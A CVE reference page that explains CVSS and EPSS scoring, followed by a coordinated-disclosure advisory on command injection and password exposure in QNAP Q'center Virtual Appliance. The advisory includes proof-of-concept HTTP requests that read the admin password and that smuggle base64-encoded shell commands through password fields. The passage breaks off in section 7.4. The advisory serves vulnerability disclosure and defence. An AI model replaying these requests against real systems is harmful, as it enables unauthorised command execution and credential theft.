Métriques Score Gravité CVSS Vecteur Source
V3.0 7.2 HIGH CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ QNAP Qcenter Virtual Appliance Multiple Vulnerabilities 1. *Advisory Information* Title: QNAP Qcenter Virtual Appliance Multiple Vulnerabilities Advisory ID: CORE-2018-0006 Advisory URL: http://www.coresecurity.com/advisories/qnap-qcenter-multiple-vulnerabilities Date published: 2018-07-11 Date of last update: 2018-07-11 Vendors contacted: QNAP Release mode: Coordinated release 2. *Vulnerability Information* Class: Information Exposure [CWE-200], Command Injection [CWE-77], Command Injection [CWE-77], Command Injection [CWE-77], Command Injection [CWE-77] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-0706, CVE-2018-0707, CVE-2018-0708, CVE-2018-0709, CVE-2018-0710 3. *Vulnerability Description* QNAP's website states that: [1] Q'center Virtual Appliance is a central management platform that enables you to consolidate the management of multiple QNAP NAS. The Q'center web interface gives you the ease-of-use, cost-efficiency, convenience and flexibility to manage multiple NAS, across multiple sites, from any internet browser. The platform's provides centralized web-based administration to manage the following features: - Review HDD S.M.A.R.T. values - Monitor system status - Manage apps and shared folders - Review infographice reports Multiple vulnerabilities were found in the Q'center Virtual Appliance web console that would allow an attacker to execute arbitrary commands on the system. 4. *Vulnerable versions* . Q'center Virtual Appliance Version 1.6.1056 (20170825) . Q'center Virtual Appliance Version 1.6.1075 (20171123) Other products and versions might be affected, but they were not tested. 5. *Vendor Information, Solutions and Workarounds* QNAP published the following Security Note: . https://www.qnap.com/en-us/security-advisory/nas-201807-10 6. *Credits* These vulnerabilities were discovered and researched by Ivan Huertas from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* QNAP's Q'center Virtual Appliance web console includes a functionality that would allow an authenticated attacker to elevate privileges on the system. We describe this issue in section 7.1. Sections 7.2, 7.3, 7.4 and 7.5 show different methods to gain command execution. 7.1. *Privilege escalation* [CVE-2018-0706] The application contains an API endpoint that returns information about the accounts defined in the database. The information returned is informative for all the users except for the admin user, which cames with every installation, where an extra field is presented. This extra field (new_password) contains the password defined at installation time for the admin user encoded in base64. Any authenticated user could access this API endpoint and retrieve the admin user's password, therefore being able to login as an administrator. The following proof of concept shows a user with viewer access retrieving the admin's password encoded in base64 in the new_password field. /----- GET /qcenter/hawkeye/v1/account?_dc=1519932315271 HTTP/1.1 Host: 192.168.1.178 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: https://192.168.1.178/qcenter/ Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; user=viewer; CMS_SID=IV4P74Y16X; ROLE=1082130432; _ID=5a9847223af7e2034924e7b6; LOGIN_TIME=1519932215818; remember=false Connection: close HTTP/1.1 200 OK Date: Thu, 01 Mar 2018 19:23:43 GMT Server: Apache X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Type: application/json Content-Length: 878 Connection: close { "total_count": 2, "account": [ { "dst_enable": false, "name": "admin", "default": true, "new_password": "YWRtaW5pc3RyYWRvcg==", "authentication": 0, "create_time": { "$date": 1519917983616 }, "role": 4294967295, "timezone_code": 17, "last_login": { "$date": 1519929869797 }, "_id": "5a981b9f3af7e2030c883592", "email": "", "description": "administrator" }, { "dst_enable": false, "name": "viewer", "register_code": "", "authentication": 0, "create_time": { "$date": 1519929122332 }, "role": 1082130432, "timezone_code": 17, "last_login": { "$date": 1519932215818 }, "_id": "5a9847223af7e2034924e7b6", "email": "", "description": "" } ] } -----/ As can be seen in the following excerpt, the decoded base64 data corresponds to the plaintext administrator password set at installation time. /----- $ echo YWRtaW5pc3RyYWRvcg== | base64 -d administrador -----/ 7.2. *Command Execution in change password for the admin user* [CVE-2018-0707] When the admin user performs a password change, the application executes an OS command to impact the changes. The input is not properly sanitized when passed down to the OS, allowing an attacker to run arbitrary commands. /----- POST /qcenter/hawkeye/v1/account?change_passwd HTTP/1.1 Host: 192.168.1.209 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https://192.168.1.209/qcenter/ Content-Length: 118 Cookie: CMS_lang=ENG; user=admin; CMS_SID=TWYH7A55X5; ROLE=4294967295; _ID=5a8465ba3af7e2030984c84e; LOGIN_TIME=1518714672547; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; remember=false Connection: close {"_id":"5a8465ba3af7e2030984c84e","old_password":"dGlzMzhhZWw=","new_password":"Ijt0b3VjaCAvdG1wL2NoYW5nZXBhc3M7Ig=="} -----/ The API requires to send the password encoded in base64. This makes a lot easier to inject command as we do not need to bypass any filters. For the admin user in the web application, there is also a backing user present on the OS. When a password change is requested for this user, the values submitted to the API are included in a "sudo passwd" command, where the injection occurs. In this particular case, the old_password must match the current password, which can be obtained by exploiting [CVE-2018-0706]. 7.3. *Command Execution in network config update* [CVE-2018-0708] The admin user created at installation time can modify the network configuration. In order to do this, the admin has to access the settings section which is protected by the OS password (which could be obtained using the Privilege Escalation vulnerability described above). However, we identified that a user with the Power User profile could also execute this function, despite access not being provided through the web application interface. This function requires to send the admin user password encoded in base64 in the passwd field. This value is then used to perform a sudo operation in the OS to change the network settings. We used the passwd field to inject command (";touch /tmp/netconfigpower; echo "a) and create a file in /tmp/. /----- POST /qcenter/hawkeye/v1/network_config HTTP/1.1 Host: 192.168.1.178 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: https://192.168.1.178/qcenter/ Content-Length: 87 Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735; _ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false Connection: close {"type":"0","dns_type":"0","passwd":"Ijt0b3VjaCAvdG1wL25ldGNvbmZpZ3Bvd2VyOyBlY2hvICJh"} -----/ The passwd parameter is used in bash echo command unsanitized. 7.4. *Command Execution in date config update* [CVE-2018-0709] The admin user created at installation time is capable of modifying the date configuration. In order to do this, the admin has to access the settings section which is protected by the OS password (which could be obtained using the Privilege Escalation vulnerability described above). However, we identified that a user with the Power User profile could execute this function, despite the access is not provided through the web application interface. This function requires to submit the admin user password encoded in base64 in the passwd field. This value is then used to perform a sudo operation in the OS to change the date configuration settings.
